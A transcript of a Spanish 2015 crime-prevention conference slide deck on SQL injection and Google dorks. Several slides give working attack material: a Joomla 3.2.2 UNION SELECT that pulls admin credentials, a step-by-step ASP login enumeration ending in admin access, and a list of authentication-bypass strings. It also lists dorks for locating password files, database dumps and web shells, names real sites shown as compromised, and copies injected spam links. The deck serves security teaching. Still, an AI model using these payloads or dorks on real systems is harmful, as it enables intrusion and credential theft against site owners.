Intrusión Web: Google Dorks e Inyección Sql

54
Intrusión Web: Google Dorks e Inyección Sql 20-Marzo- 2015 II Jornadas de Prevención del Fraude y el Cibercrimen

Transcript of Intrusión Web: Google Dorks e Inyección Sql

Page 1: Intrusión Web: Google Dorks e Inyección Sql

Intrusión Web: Google Dorks e Inyección Sql

20-Marzo-2015II Jornadas de Prevención del

Fraude y el Cibercrimen

Page 2: Intrusión Web: Google Dorks e Inyección Sql

El Hacking Ético es Delito

Inyección SQL en Páginas Web

2

• Artículo 197.3 C.P.

El que por cualquier medio o procedimiento y vulnerando las medidas de seguridad establecidas para impedirlo, acceda sin autorización a datos o programas informáticos contenidos en un sistema informático o en parte del mismo o se mantenga dentro del mismo en contra de la voluntad de quien tenga el legítimo derecho a excluirlo, será castigado con pena de prisión de seis meses a dos años.

Page 3: Intrusión Web: Google Dorks e Inyección Sql

Libertad de Cátedra

Inyección SQL en Páginas Web

3

• La libertad de cátedra es uno de los derechos incluidos dentro del derecho humano o fundamental de Libertad académica.

• Es el derecho a ejercer la docencia, en el ámbito de la Educación Superior, con absoluta libertad, es decir, es "la libertad de enseñar y debatir sin verse limitado por doctrinas instituidas".

•  La libertad de llevar a cabo investigaciones y difundir y publicar los resultados de las mismas, la libertad de expresar libremente su opinión sobre la institución o el sistema en que trabaja, la libertad ante la censura institucional y la libertad de participar en órganos profesionales u organizaciones académicas representativas.

Page 4: Intrusión Web: Google Dorks e Inyección Sql

¿Qué es Inyección SQL?

Inyección SQL en Páginas Web

4

• Es un método de infiltración de código SQL• Aprovecha vulnerabilidades de diseño en código web• Afecta a cualquier lenguaje que use SqlQueries• Es uno de los métodos más usados de intrusión web

consulta := "SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';"

PELIGRO!!!!Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%

RESULTADO:SELECT * FROM usuarios WHERE nombre = 'Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%';

Page 5: Intrusión Web: Google Dorks e Inyección Sql

¿Qué fines alberga?

Inyección SQL en Páginas Web

5

• Casi ninguno bueno• Introducción de código adaware malicioso• Introducción de links a páginas web o publicidad para su

indexación en metabuscadores.• Sólo se salva el Hacking Ético

EJEMPLO:HOT VIAGRA ILLEGAL PHILLIPINES VIAGRA CIALIS NO RX NEXT DAY CANIDAVIAGRA GENEIRC VIAGRA SALE VIAGRA (.)(.) VIAGRA CIALIS THIRSTY ZIP ...

Page 6: Intrusión Web: Google Dorks e Inyección Sql

¿Por qué ocurre esto?

Inyección SQL en Páginas Web

6

• Mal diseño del código de consulta SQL• Utilización de código estándar no contrastado• Ausencia de actualización de directivas de Seguridad CMS• Inexistencia de seguimiento de la vida de la página web

• Carencia de responsables en seguridad informática.

Page 7: Intrusión Web: Google Dorks e Inyección Sql

Algunas páginas infectadas

Inyección SQL en Páginas Web

7

• Universidades• Páginas oficiales de partidos políticos• Páginas oficiales de Ayuntamientos• Páginas web corporativas y particulares, etc.

Page 8: Intrusión Web: Google Dorks e Inyección Sql

El más Famoso: La Viagra

Inyección SQL en Páginas Web

8

Page 9: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos interesantes

Inyección SQL en Páginas Web

9

Universidad de Salamancahttp://www-incyl.usal.es/index.php?option=com_directorio&task=verperfil&id=62&tipo=egalilea

Page 10: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos interesantes

Inyección SQL en Páginas Web

10

Universidad de Extremadurahttp://matematicas.unex.es/~brequejo/

Page 11: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos interesantes

Inyección SQL en Páginas Web

11

Página del Partido Socialistahttp://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250

Page 12: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos interesantes

Inyección SQL en Páginas Web

12

Página del Partido Socialistahttp://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250

Page 13: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos interesantes

Inyección SQL en Páginas Web

13

Página de Unión, Progreso y Democracia

Page 14: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos interesantes

Inyección SQL en Páginas Web

14

Página de Unión, Progreso y Democracia

Page 15: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos interesantes

Inyección SQL en Páginas Web

15

Página de Unión, Progreso y Democracia<div class="runningtext_x"><p>Instead you a recurring final step in certain no fax payday cash advance <a href="http://cashadvance6online.com" title="no fax payday cash advance">no fax payday cash advance</a> factors of must be having.Are you love with bad things can include your effects of increased dose of cialis <a href="http://cialis8online.com" title="effects of increased dose of cialis">effects of increased dose of cialis</a> broken into and submitting an loan.Third borrowers who do business to offer cash so levitra and alpha blockers <a href="http://levitra6online.com" title="levitra and alpha blockers">levitra and alpha blockers</a> if the more concerned about everywhere.Typically a couple weeks until convenient thing is viagra prescription <a href="http://wwwwviagracom.com" title="viagra prescription">viagra prescription</a> necessary steps to become unreasonable.No long waiting to almost all http://viagra5online.com <a href="http://viagra5online.com" title="http://viagra5online.com">http://viagra5online.com</a> loan as banking information.Delay when they receive your creditability especially attractive cash advance today <a href="http://wwwcashadvancescom.com" title="cash advance today">cash advance today</a> for them whenever they work.Thankfully there for loan providers our payday loans are http://wwwlevitrascom.com/ <a href="http://wwwlevitrascom.com" title="http://wwwlevitrascom.com/">http://wwwlevitrascom.com/</a> meant to cover a fax anything.That leads to take your payday can even less cialis <a href="http://wwwcialiscomcom.com" title="cialis">cialis</a> for the specific generalization of extension.</p></div>

Page 16: Intrusión Web: Google Dorks e Inyección Sql

¿Cómo se hace Sqlinjection?

Inyección SQL en Páginas Web

16

• Se buscan vulnerabilidades en los CMS más populares

• Joomla es el “Rey de Reyes”• Tampoco se libra Wordpress• Ni Drupal, ni Moodle….

• Cualquier sitio web en interesante; incluso el tuyo!!:• Es el mejor laboratorio de prácticas• Hay miles de páginas web esperando

Page 17: Intrusión Web: Google Dorks e Inyección Sql

¿Cómo se hace Sqlinjection?

Inyección SQL en Páginas Web

17

• Se buscan páginas web de CMS no actualizadas

• Los “ciberdelincuentes buenos”, buscan “0 Days”

• Se inyecta código sql en los campos de captura de datos para provocar una respuesta no contemplada:

USER | PASSWORD

Page 18: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos de Sqlinjection

Inyección SQL en Páginas Web

18

• Joomla 3.2.2• Fallo detectado en febrero de 2014• Afectaba al propio núcleo de Joomla• Por tanto funcionaba en todas las versiones anteriores• Buscaba el error en la validación de parámetros web• El error estaba tras consultar el “Weblinks-categories”

• El objetivo es provocar que Joomla nos muestre su código fuente para sacar lo más importante:

USER | PASSWORD

Page 19: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos de Sqlinjection

Inyección SQL en Páginas Web

19

Page 20: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos de Sqlinjection

Inyección SQL en Páginas Web

20

Una instrucción “Normal”:http://URL/index.php/weblinks-categories?id=1

http://URL/index.php/weblinks-categories?id=X

Resultado:

SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN `ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( X)     

Page 21: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos de Sqlinjection

Inyección SQL en Páginas Web

21

Page 22: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos de Sqlinjection

Inyección SQL en Páginas Web

22

ATENTOS AHORA:

Este error anterior nos ha mostrado una información muy valiosa:El prefijo de las Tablas de la base de datos

 ...INNER JOIN `ls41c_contentitem_tag_map` ...

Como vemos, en nuestro caso es ls41c

Page 23: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos de Sqlinjection

Inyección SQL en Páginas Web

23

Aprovechemos este error para hacer nuestra consulta:

• Consultamos a la Tabla de Usuarios (ls41c_users):• Incluiremos el comando UNION SELECT y seleccionaremos los

valores de username y password

http://URL/index.php/weblinks-categories?id=0) union select concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from `ls41c_users`-- )

Page 24: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos de Sqlinjection

Inyección SQL en Páginas Web

24

Esto genera un nuevo error:

Page 25: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos de Sqlinjection

Inyección SQL en Páginas Web

25

Veámoslo con detalle:

El usuario es adminLa clave está encriptada con un HASH MD5

Page 26: Intrusión Web: Google Dorks e Inyección Sql

Ejemplos de Sqlinjection

Inyección SQL en Páginas Web

26

Sólo nos resta “Deshacer” el MD5:• Mediante la búsqueda de la cadena por internet• Utilizando páginas web para descifrarlo

• www.md5online.es

Page 27: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

27

Mediante el uso de operadores en los campos de texto

En los campos de consulta de datosEn los campos de Usuario y ContraseñaEn cualquier campo que permita introducir datos

Page 28: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

28

En la pantalla de Autenticación se nos piden los datos de acceso

El código interno que se ejecuta suele ser algo parecido a:

Select id from tabla_usuarioswhere usuario='$usuario' and pass='$pass';

Page 29: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

29

¿Pero qué pasa si provocamos el error?

Select id from tabla_usuarioswhere usuario=' 'or '1'='1 ' and pass=''or '1'='1';

Page 30: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

30

Ejemplo

http://www.XXXX.co.in/Attendance/adminlogin.asp

Page 31: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

31

Introducimos la instrucción ' OR '1'='1

Page 32: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

32

Y “Voila!!!”

Page 33: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

33

Ataques a Logins ASP

Comando Dork: inurl:login.asp

En los campos de acceso tecleamos ' having 1= 1--

Page 34: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

34

Ataques a Logins ASP

Comando Dork: inurl:login.asp

En las páginas vulnerables se producirá el siguiente error:

Page 35: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

35

Ataques a Logins ASP

Comando Dork: inurl:login.asp

El Error anterior nos dio el nombre de la tabla y la columna:

Ingresamos ' group by Usuario.Clave having 1 = 1--

Page 36: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

36

Ataques a Logins ASP

Comando Dork: inurl:login.asp

El Error anterior nos dio un nuevo dato de la tabla y la columna:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre having 1=1--

Page 37: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

37

Ataques a Logins ASP

Comando Dork: inurl:login.asp

Ya tenemos el nombre de la Tabla y la Columna “usuario.clave_de_acceso”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--

Page 38: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

38

Ataques a Logins ASP

Comando Dork: inurl:login.asp

Ya tenemos la Tabla y la Columna “usuario.password”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--

Page 39: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

39

Ataques a Logins ASP

Comando Dork: inurl:login.asp

La siguiente tabla es “usuario.Tipo_De_Usuario”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--

Page 40: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

40

Ataques a Logins ASP

Comando Dork: inurl:login.asp

La siguiente tabla es “usuario.Punto_De_Captura”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--

Page 41: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

41

Ataques a Logins ASP

Comando Dork: inurl:login.asp

La siguiente tabla es “Usuario.ESTATUS”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--

No arroja más Resultados y vuelve al punto de Login

Page 42: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

42

Ataques a Logins ASP

Comando Dork: inurl:login.asp

Ingresamos ' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'—

Tantos 1 como tablas hemos encontrado!!

Page 43: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

43

Ataques a Logins ASP

Comando Dork: inurl:login.asp

Ya tenemos al Usuario de Administración:

Ingresamos ' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--

Ya tenemos la Clave!

Page 44: Intrusión Web: Google Dorks e Inyección Sql

Otras formas de Sqlinjection

Inyección SQL en Páginas Web

44

Ya tenemos Acceso a la Web como administrador

Page 45: Intrusión Web: Google Dorks e Inyección Sql

Otros parámetros de Sqlinjection

Inyección SQL en Páginas Web

45

Pueden hacerse otros tipos de consultas

‘ or 1=1 – 1'or’1'=’1 admin’– ” or 0=0 – or 0=0 – ‘ or 0=0 # ” or 0=0 # or 0=0 # ‘ or ‘x’='x ” or “x”=”x ‘) or (‘x’='x ‘ or 1=1–

” or 1=1– or 1=1– ‘ or a=a– ” or “a”=”a ‘) or (‘a’='a “) or (“a”=”a hi” or “a”=”a hi” or 1=1 – hi’ or 1=1 – hi’ or ‘a’='a hi’) or (‘a’='a hi”) or (“a”=”)

Page 46: Intrusión Web: Google Dorks e Inyección Sql

Los «Dorks»: Google Hacking

Inyección SQL en Páginas Web

46

• ¿Qué es un Dork?

• Google dorks son combinaciones de operadores, o comandos de búsqueda especiales que se utilizan para extraer información valiosa o sensible desde Google.

• También se les denomina GoogleDorks• Existen multitud de páginas web donde se muestran los

comandos Dork de Google• La más famosa:

http://www.exploit-db.com/google-dorks/

Page 47: Intrusión Web: Google Dorks e Inyección Sql

Los «Dorks» más típicos

Inyección SQL en Páginas Web

47

• Site:• Site:nombrededominio.extension «cadena a buscar»

• Filetype:• filetype:extensión «nombredelfichero»

• Inurl:• Inurl:”página a buscar”

• intitle:• Intitle: “témino a buscar”

• Intext:• Intext:”Texto a buscar dentro de un fichero”

• Link:• Link: “enlace web a buscar

Page 48: Intrusión Web: Google Dorks e Inyección Sql

Los «Dorks» más típicos

Inyección SQL en Páginas Web

48

• Site:• Site:nombrededominio.extension «cadena a buscar»

site:usal.es "azithromycin“

Nos devolverá todas las páginas pertenecientes al Dominio Usal.es que contengan el término “azithromycin”

Page 49: Intrusión Web: Google Dorks e Inyección Sql

Los «Dorks» más típicos

Inyección SQL en Páginas Web

49

• Filetype:• filetype:extensión «nombredelfichero»

filetype:sql “# dumping data for table” “`PASSWORD` varchar”

Busca peticiones de contenido en ficheros con extensión “XXX”

Page 50: Intrusión Web: Google Dorks e Inyección Sql

Los «Dorks» más típicos

Inyección SQL en Páginas Web

50

• Inurl:• Inurl:”Texto a buscar”

inurl:webarch/mainframe.cgiinurl:intranet filetype:doc confidential

• La primera instrucción busca impresoras de red• La segunda instrucción busca documentos confidenciales

dentro de una intranet

Page 51: Intrusión Web: Google Dorks e Inyección Sql

Los «Dorks» más típicos

Inyección SQL en Páginas Web

51

• Intext:• Intext:”Texto a buscar dentro de un fichero”

filetype:php intext:"!C99Shell v. 1.0 beta"

Busca ficheros php que gestionen la Shell C99; C99 es una consola de gestión vía Web

Page 52: Intrusión Web: Google Dorks e Inyección Sql

Los «Dorks» más típicos

Inyección SQL en Páginas Web

52

• Link:• Link: “enlace web a buscar

Link:elpais.com

Muestra un listado de páginas web que contienen el link de la revista.

Page 53: Intrusión Web: Google Dorks e Inyección Sql

Los «Dorks» más típicos

Inyección SQL en Páginas Web

53

• Combinaciones• inurl:"/root/etc/passwd" intext:"home/*:“• inurl:/administrator/index.php?autologin=1• filetype:xls "username | password"

Page 54: Intrusión Web: Google Dorks e Inyección Sql

Veamos algunos Resultados

Inyección SQL en Páginas Web

54